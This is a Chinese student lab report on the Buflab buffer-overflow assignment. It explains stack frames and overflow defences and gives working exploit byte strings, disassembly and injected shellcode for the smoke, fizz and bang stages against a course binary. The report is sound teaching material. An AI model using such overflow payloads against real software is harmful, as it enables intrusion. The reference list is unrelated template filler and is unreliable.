哈爾濱工業大學

实验报告

实 验（四）

题　　目　Buflab

缓冲器漏洞攻击

专　　业　计算机类

学　　号　1190200122

班　　级　1903001

学　　生　袁野

指 导 教 师　郑贵滨

实 验 地 点　G709

实 验 日 期　2020-5-7

计算机科学与技术学院

目 录

第 1 章 实验基本信息

1.1 实验目的

1. 理解 C 语言函数的汇编级实现及缓冲器溢出原理
2. 掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法
3. 进一步熟练使用 Linux 下的调试工具完成机器语言的跟踪调试

1.2 实验环境与工具

1.2.1 硬件环境

Legion Y7000P 2019 PG0
CPU:Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz (12 CPUs), ~2.6GHz
RAM: 16384MB

1.2.2 软件环境

Windows 10 家庭中文版 64-bit
Ubuntu 20.04.2 LTS
VMware® Workstation 16 Player 16.1.0 build-17198959

1.2.3 开发工具

Microsoft Visual Studio Community 2019 版本 16.9.2
Microsoft Visual 1.54.3
GCC 9.3.0

1.3 实验预习

■ **上实验课前，必须认真预习实验指导书（PPT 或 PDF）**

■ **了解实验的目的、实验环境与软硬件工具、实验操作步骤，复习与实验有关的理论知识。**

- **请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构**
- **请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构**
- **请简述缓冲区溢出的原理及危害**
- **请简述缓冲器溢出漏洞的攻击方法**
- **请简述缓冲器溢出漏洞的防范方法**

第 2 章 实验预习

2.1 请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构（5 分）

---------- 栈底
…… 之前的帧

……
参数 n
…… 调用函数 P 的帧

参数 1
返回地址

被保存的寄存器
局部变量或者本地变量 正在执行的函数 Q 的帧
参数构造区
---------- 栈顶

2.2 请按照入栈顺序，写出 C 语言 62 位环境下的栈帧结构（5 分）

---------- 栈底
…… 之前的帧

……
参数 n
…… 调用函数 P 的帧

参数 7
返回地址

被保存的寄存器
局部变量或者本地变量　　正在执行的函数 Q 的帧
参数构造区
---------- 栈顶

2.3 请简述缓冲区溢出的原理及危害（5 分）

原理：缓冲区溢出是由于对于使用数组或指针时未进行边界检查，当计算机向缓冲区填充数据时超出了缓冲区本身的容量，而程序的局部变量和状态信息等都存放在栈上，溢出的数据覆盖在合法数据上。

危害：1）因为部分函数的实现原因，导致参数甚至返回地址被覆盖，导致程序运行过程中出现错误 2）被人恶意利用，进行代码注入，运行恶意程序代码，使个人电脑暴露在风险之下，很有可能造成经济损失。

2.4 请简述缓冲器溢出漏洞的攻击方法（5 分）

通常，输入给程序一个字符串，这个字符串包含一些可执行代码的字节编码，称为攻击代码，另外，还有一些字节会用一个指向攻击代码的指针覆盖返回地址。那么，执行 ret 指令的效果就是跳转到攻击代码。在一种攻击形式中，攻击代码会使用系统调用启动一个 shell 程序，给攻击者提供一组操作系统函数。在另一种攻击形式中，攻击代码会执行一些未授权的任务，修复对栈的破坏，然后第二次执行 ret 指令，（表面上）正常返回到调用者。

2.5 请简述缓冲器溢出漏洞的防范方法（5 分）

1. 栈随机化

栈随机化的思想是使栈的位置在每次运行时都有变化。这样相同的代码运行时栈地址不同，攻击者难以获得插入的攻击代码的指针。

2. 栈破坏检测

此方法是能够检测到何时栈已经被破坏。其思想是在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的随机金丝雀值。在恢复寄存器状态和从函数返回之前，程序会检查这个值是否改变，如果是则异常终止。

3. 限制可执行代码

此法是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区能够存放可执行代码。

第 3 章 各阶段漏洞攻击原理与方法

每阶段 27 分（文本 15 分，分析 12 分），总分不超过 80 分

3.1 Smoke 阶段 1 的攻击与分析

文本如下：00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c6 8b 04 08

分析过程：

```
08048bc6 <smoke>:
 8048bc6:   83 ec 18              sub    $0x18,%esp
 8048bc9:   68 db a1 04 08        push   $0x804a1db
 8048bce:   e8 bd fc ff ff        call   8048890 <puts@plt>
 8048bd3:   c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 8048bda:   e8 63 06 00 00        call   8049242 <validate>
 8048bdf:   c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 8048be6:   e8 c5 fc ff ff        call   80488b0 <exit@plt>
```

由反汇编代码我们知道 smoke 的地址

```
0804911d <getbuf>:
 804911d:   83 ec 38              sub    $0x38,%esp
 8049120:   8d 44 24 0c           lea    0xc(%esp),%eax
 8049124:   50                    push   %eax
 8049125:   e8 5c fb ff ff        call   8048c86 <Gets>
 804912a:   b8 01 00 00 00        mov    $0x1,%eax
 804912f:   83 c4 3c              add    $0x3c,%esp
 8049132:   c3                    ret
```

根据 getbuf 的反汇编代码我们可以知道，getbuf 的栈帧如下。

返回地址（攻击部分）

44 字节（0x38-0xC） ← %eax

12 字节

%eax

……

而 Get 函数获取的字符串是从%eax 处开始储存，因此我们需要注入一个长度为 48 字节的字符串才能覆盖到储存返回地址的位置，因此我们将 48 字节的最后四个字节构造为斯莫克的地址即可，又因为机器小端序储存，因此我们将地址的四个字节倒序构造。

3.2 Fizz 的攻击与分析

文本如下：00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 8b 04 08 00 00 00 00 0f 7d 5c 44

分析过程：

前部分相同，按照 3.1 的构造方式利用 Fizz 的地址构造 48 字节的字符串。

```
08048beb <fizz>:
 8048beb:	83 ec 0c             	sub    $0xc,%esp
 8048bee:	8b 44 24 10          	mov    0x10(%esp),%eax
 8048bf2:	3b 05 40 e1 04 08    	cmp    0x804e140,%eax
 8048bf8:	75 21                	jne    8048c1b <fizz+0x30>
 8048bfa:	83 ec 04             	sub    $0x4,%esp
 8048bfd:	50                   	push   %eax
 8048bfe:	68 f6 a1 04 08       	push   $0x804a1f6
 8048c03:	6a 01                	push   $0x1
 8048c05:	e8 66 fd ff ff       	call   8048970 <__printf_chk@plt>
 8048c0a:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c11:	e8 2c 06 00 00       	call   8049242 <validate>
 8048c16:	83 c4 10             	add    $0x10,%esp
 8048c19:	eb 13                	jmp    8048c2e <fizz+0x43>
 8048c1b:	83 ec 04             	sub    $0x4,%esp
 8048c1e:	50                   	push   %eax
 8048c1f:	68 48 a0 04 08       	push   $0x804a048
 8048c24:	6a 01                	push   $0x1
 8048c26:	e8 45 fd ff ff       	call   8048970 <__printf_chk@plt>
 8048c2b:	83 c4 10             	add    $0x10,%esp
 8048c2e:	83 ec 0c             	sub    $0xc,%esp
 8048c31:	6a 00                	push   $0x0
 8048c33:	e8 78 fc ff ff       	call   80488b0 <exit@plt>
```

而我们注意到在 Fizz 函数中我们需要将 0x804e140 地址下的变量与%eax 进行比较，且需要相同，这样的话我们将该变量输出发现是我们的 cookie 值，因此我们需要将%eax 处覆盖为我们的 cookies。根据反汇编代码，在进入 fizz 时，由于不是调用函数而是返回，因此并没有返回地址，即我们在 3.1 中覆盖的地址部分的上方。此时先让其向下移动 12 字节，再让%eax 指向栈指针加 16 字节之后的位置，即初始栈指针的地址上方四字节，从这个位置开始我们将其构造为 cookies，中间的四个字节随意。

3.3 Bang 的攻击与分析

文本如下：c7 05 38 e1 04 08 0f 7d 5c 44 68 38 8c 04 08 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 31 68 55

分析过程：

```
08048c38 <bang>:
 8048c38:   83 ec 0c                sub    $0xc,%esp
 8048c3b:   a1 38 e1 04 08          mov    0x804e138,%eax
 8048c40:   3b 05 40 e1 04 08       cmp    0x804e140,%eax
 8048c46:   75 21                   jne    8048c69 <bang+0x31>
 8048c48:   83 ec 04                sub    $0x4,%esp
 8048c4b:   50                      push   %eax
 8048c4c:   68 68 a0 04 08          push   $0x804a068
 8048c51:   6a 01                   push   $0x1
 8048c53:   e8 18 fd ff ff          call   8048970 <__printf_chk@plt>
 8048c58:   c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 8048c5f:   e8 de 05 00 00          call   8049242 <validate>
 8048c64:   83 c4 10                add    $0x10,%esp
 8048c67:   eb 13                   jmp    8048c7c <bang+0x44>
 8048c69:   83 ec 04                sub    $0x4,%esp
 8048c6c:   50                      push   %eax
 8048c6d:   68 14 a2 04 08          push   $0x804a214
 8048c72:   6a 01                   push   $0x1
 8048c74:   e8 f7 fc ff ff          call   8048970 <__printf_chk@plt>
 8048c79:   83 c4 10                add    $0x10,%esp
 8048c7c:   83 ec 0c                sub    $0xc,%esp
 8048c7f:   6a 00                   push   $0x0
 8048c81:   e8 2a fc ff ff          call   80488b0 <exit@plt>
```

我们观察 bang 反汇编代码可以发现这部分我们需要让两个变量相等，借助 PPT 我么们可以得知 0x804e138 储存的是 global_value，0x804e140 储存的是 cookies，那么也就是说我们需要诸如一段代码修改 global_value 的值为 cookies，然后再跳到 bang 函数。

首先我们构造一段汇编代码

```
1  movl $0x445c7d0f, 0x804e138
2  pushl $0x08048c38
3  ret
```

这段代码首先将 cookies 的值赋给 global_value，然后将 bang 的地址入栈，随后 ret 即可马上跳转到 bang 函数。紧接着我们将这段代码编译为可执行文件，在进行反汇编得到机器码。

```
yuanye@1190200122-yuanye:/mnt/hgfs/d/buflab-handout$ gcc -m32 -c a.s
a.s: Assembler messages:
a.s: 警告:  文件结束，非行尾；插入新行
yuanye@1190200122-yuanye:/mnt/hgfs/d/buflab-handout$ gcc -m32 -c a.s
a.s: Assembler messages:
a.s: 警告:  文件结束，非行尾；插入新行
yuanye@1190200122-yuanye:/mnt/hgfs/d/buflab-handout$ objdump -d a.o

a.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   c7 05 38 e1 04 08 0f    movl   $0x445c7d0f,0x804e138
   7:   7d 5c 44
   a:   68 38 8c 04 08          push   $0x8048c38
   f:   c3                      ret
```

由于这是机器码，因此无所谓大小端序。接下来我们只需要知道 getbuf 缓冲区首地址，再将这段代码注入。

通过 3.1 我们可知 rax 指向的位置即为缓冲区首地址，我们将其输出

```
(gdb) i r eax
eax            0x55683108          1432891656
```

该地址即为我们放置构造代码的位置。我们再将该地址放在 getbuf 返回地址处即可，而构造代码就放置在输入字符串的开头。

3.4 Boom 的攻击与分析

文本如下：

分析过程：

3.5 Nitro 的攻击与分析

文本如下：

分析过程：

第 4 章 总结

4.1 请总结本次实验的收获

1. 更加清晰地到了程序在运行时的栈帧的结构。
2. 练习了使用 objdump 和 gdb 进行反汇编。
3. 对缓冲区溢出攻击有了一些认识。
4. 意识到了缓冲区溢出攻击的危害。

4.2 请给出对本次实验内容的建议

1. 建议添加更多对于栈帧结构的讲解。
2. 建议添加一些在编写程序时防止缓冲区溢出攻击的方法的介绍。

注：本章为酌情加分项。

参考文献

为完成本次实验你翻阅的书籍与网站等

[1] 林来兴. 空间控制技术[M]. 北京：中国宇航出版社，1992：25-42.

[2] 辛希孟. 信息技术与信息服务国际研讨会论文集：A 集[C]. 北京：中国科学出版社，1999.

[3] 赵耀东. 新时代的工业工程师[M/OL]. 台北：天下文化出版社，1998 [1998-09-26]. http://www.ie.nthu.edu.tw/info/ie.newie.htm（Big5）.

[4] 谌颖. 空间交会控制理论与方法研究[D]. 哈尔滨：哈尔滨工业大学，1992：8-13.

[5] KANAMORI H. Shaking Without Quaking[J]. Science，1998，279（5359）：2063-2064.

[6] CHRISTINE M. Plant Physiology: Plant Biology in the Genome Era[J/OL]. Science，1998，281：331-332[1998-09-23]. http://www.sciencemag.org/cgi/collection/anatmorp.